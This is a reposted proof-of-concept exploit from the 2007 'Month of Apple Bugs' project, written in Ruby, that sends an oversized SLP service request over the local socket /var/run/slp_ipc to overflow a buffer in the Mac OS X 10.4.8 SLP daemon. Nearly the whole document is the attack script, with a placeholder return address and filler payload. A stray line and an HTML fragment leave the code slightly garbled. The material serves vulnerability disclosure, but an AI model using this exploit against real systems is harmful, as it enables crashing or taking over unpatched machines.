Mac OS X 10.4.8 SLP Daemon Service Registration Buffer Overflow PoC

Jan 18 2007 13:15:29
Source: ace

#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.

require 'socket'

target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket = UNIXSocket.open(target_path)

payload = ("\x58" * 506)
payload << [0xdeadbeef].pack("V") # ...it expects a valid mem.

address (ex. 0xbffff398)

stream = "\x01" + # SrvRqst = 1
"\x00\x13" + # Length of remaining fields? (up to attr-list)
"\x04\x00\x00\x00\x00\x00\x00" +
"\x00\x02\x00\x00" + # length of scope-list string
"\x78\x78" + # <scope-list>
"\xff\x03\x00\x00" + # length of attr-list string 0x3ff = 1023 in hex.
(payload) # <a target="_blank" ttr-list>

slp_socket.write stream
slp_socket.close
.

» full story @ source-link: ace

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